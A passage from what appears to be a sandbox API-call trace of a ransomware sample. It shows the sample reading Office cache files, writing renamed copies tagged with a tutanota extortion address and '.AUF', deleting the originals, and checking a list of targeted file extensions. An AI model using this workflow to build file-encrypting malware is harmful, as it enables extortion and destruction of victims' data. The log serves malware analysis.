Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.457] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0204.457] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.457] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.457] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0204.457] GetLastError () returned 0x0 [0204.457] ReadFile (in: hFile=0x198, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x61d, lpOverlapped=0x0) returned 1 [0204.467] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x620, lpOverlapped=0x0) returned 1 [0204.468] ReadFile (in: hFile=0x198, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.468] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0204.468] SetEndOfFile (hFile=0x194) returned 1 [0204.468] CloseHandle (hObject=0x194) returned 1 [0204.469] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.469] SetEndOfFile (hFile=0x198) returned 1 [0204.469] CloseHandle (hObject=0x198) returned 1 [0204.469] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.470] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0204.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.470] lstrlenW (lpString=".doc") returned 4 [0204.470] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.470] lstrlenW (lpString=".docx") returned 5 [0204.470] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.470] lstrlenW (lpString=".pdf") returned 4 [0204.470] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.470] lstrlenW (lpString=".xls") returned 4 [0204.470] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.470] lstrlenW (lpString=".xlsx") returned 5 [0204.470] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.470] lstrlenW (lpString=".ppt") returned 4 [0204.470] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.470] lstrlenW (lpString=".zip") returned 4 [0204.470] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.470] lstrlenW (lpString=".rar") returned 4 [0204.470] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.470] lstrlenW (lpString=".bz2") returned 4 [0204.470] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.470] lstrlenW (lpString=".7z") returned 3 [0204.470] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.470] lstrlenW (lpString=".dbf") returned 4 [0204.470] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.470] lstrlenW (lpString=".1cd") returned 4 [0204.470] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.470] lstrlenW (lpString=".jpg") returned 4 [0204.470] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.471] lstrlenW (lpString=".doc") returned 4 [0204.471] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.471] lstrlenW (lpString=".docx") returned 5 [0204.471] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.471] lstrlenW (lpString=".pdf") returned 4 [0204.471] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.471] lstrlenW (lpString=".xls") returned 4 [0204.471] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.471] lstrlenW (lpString=".xlsx") returned 5 [0204.471] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.471] lstrlenW (lpString=".ppt") returned 4 [0204.471] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.471] lstrlenW (lpString=".zip") returned 4 [0204.471] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.471] lstrlenW (lpString=".rar") returned 4 [0204.471] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.471] lstrlenW (lpString=".bz2") returned 4 [0204.471] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.471] lstrlenW (lpString=".7z") returned 3 [0204.471] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.471] lstrlenW (lpString=".dbf") returned 4 [0204.471] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.471] lstrlenW (lpString=".1cd") returned 4 [0204.471] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0204.471] lstrlenW (lpString=".jpg") returned 4 [0204.471] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.471] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.471] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0204.471] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0204.472] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1452) returned 1 [0204.472] CloseHandle (hObject=0x198) returned 1 [0204.472] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0204.473] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.473] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0204.473] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.473] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.473] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0204.473] GetLastError () returned 0x0 [0204.473] ReadFile (in: hFile=0x198, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0204.482] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0204.488] ReadFile (in: hFile=0x198, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.488] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0204.488] SetEndOfFile (hFile=0x194) returned 1 [0204.488] CloseHandle (hObject=0x194) returned 1 [0204.488] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.488] SetEndOfFile (hFile=0x198) returned 1 [0204.489] CloseHandle (hObject=0x198) returned 1 [0204.489] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.489] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0204.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.490] lstrlenW (lpString=".doc") returned 4 [0204.490] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.490] lstrlenW (lpString=".docx") returned 5 [0204.490] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.490] lstrlenW (lpString=".pdf") returned 4 [0204.490] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.490] lstrlenW (lpString=".xls") returned 4 [0204.490] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.490] lstrlenW (lpString=".xlsx") returned 5 [0204.490] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.490] lstrlenW (lpString=".ppt") returned 4 [0204.490] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.490] lstrlenW (lpString=".zip") returned 4 [0204.490] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.490] lstrlenW (lpString=".rar") returned 4 [0204.490] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.490] lstrlenW (lpString=".bz2") returned 4 [0204.490] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.490] lstrlenW (lpString=".7z") returned 3 [0204.490] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.490] lstrlenW (lpString=".dbf") returned 4 [0204.490] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.490] lstrlenW (lpString=".1cd") returned 4 [0204.490] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.490] lstrlenW (lpString=".jpg") returned 4 [0204.490] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.490] lstrlenW (lpString=".doc") returned 4 [0204.491] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.491] lstrlenW (lpString=".docx") returned 5 [0204.491] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.491] lstrlenW (lpString=".pdf") returned 4 [0204.491] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.491] lstrlenW (lpString=".xls") returned 4 [0204.491] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.491] lstrlenW (lpString=".xlsx") returned 5 [0204.491] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.491] lstrlenW (lpString=".ppt") returned 4 [0204.491] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.491] lstrlenW (lpString=".zip") returned 4 [0204.491] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.491] lstrlenW (lpString=".rar") returned 4 [0204.491] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.491] lstrlenW (lpString=".bz2") returned 4 [0204.491] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.491] lstrlenW (lpString=".7z") returned 3 [0204.491] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.491] lstrlenW (lpString=".dbf") returned 4 [0204.491] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.491] lstrlenW (lpString=".1cd") returned 4 [0204.491] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0204.491] lstrlenW (lpString=".jpg") returned 4 [0204.491] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.491] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.491] lstrlenW (lpString="Setup.xml") returned 9 [0204.491] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0204.492] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1872) returned 1 [0204.492] CloseHandle (hObject=0x198) returned 1 [0204.492] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.492] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0204.492] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.492] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0204.492] GetLastError () returned 0x0 [0204.492] ReadFile (in: hFile=0x198, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x750, lpOverlapped=0x0) returned 1 [0204.494] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x760, lpOverlapped=0x0) returned 1 [0204.495] ReadFile (in: hFile=0x198, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.495] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.495] SetEndOfFile (hFile=0x194) returned 1 [0204.495] CloseHandle (hObject=0x194) returned 1 [0204.495] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.495] SetEndOfFile (hFile=0x198) returned 1 [0204.496] CloseHandle (hObject=0x198) returned 1 [0204.496] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.496] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.497] lstrlenW (lpString=".doc") returned 4 [0204.497] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString=".docx") returned 5 [0204.497] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.497] lstrlenW (lpString=".pdf") returned 4 [0204.497] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString=".xls") returned 4 [0204.497] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString=".xlsx") returned 5 [0204.497] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.497] lstrlenW (lpString=".ppt") returned 4 [0204.497] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.497] lstrlenW (lpString=".zip") returned 4 [0204.497] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.497] lstrlenW (lpString=".rar") returned 4 [0204.497] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString=".bz2") returned 4 [0204.497] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString=".7z") returned 3 [0204.497] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.497] lstrlenW (lpString=".dbf") returned 4 [0204.497] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.497] lstrlenW (lpString=".1cd") returned 4 [0204.497] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.497] lstrlenW (lpString=".jpg") returned 4 [0204.497] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.497] lstrlenW (lpString=".doc") returned 4 [0204.497] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString=".docx") returned 5 [0204.497] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.497] lstrlenW (lpString=".pdf") returned 4 [0204.497] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString=".xls") returned 4 [0204.497] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString=".xlsx") returned 5 [0204.497] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.497] lstrlenW (lpString=".ppt") returned 4 [0204.497] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.497] lstrlenW (lpString=".zip") returned 4 [0204.497] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.497] lstrlenW (lpString=".rar") returned 4 [0204.498] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.498] lstrlenW (lpString=".bz2") returned 4 [0204.498] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.498] lstrlenW (lpString=".7z") returned 3 [0204.498] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.498] lstrlenW (lpString=".dbf") returned 4 [0204.498] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.498] lstrlenW (lpString=".1cd") returned 4 [0204.498] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.498] lstrlenW (lpString=".jpg") returned 4 [0204.498] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.498] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.498] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0204.498] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0204.650] 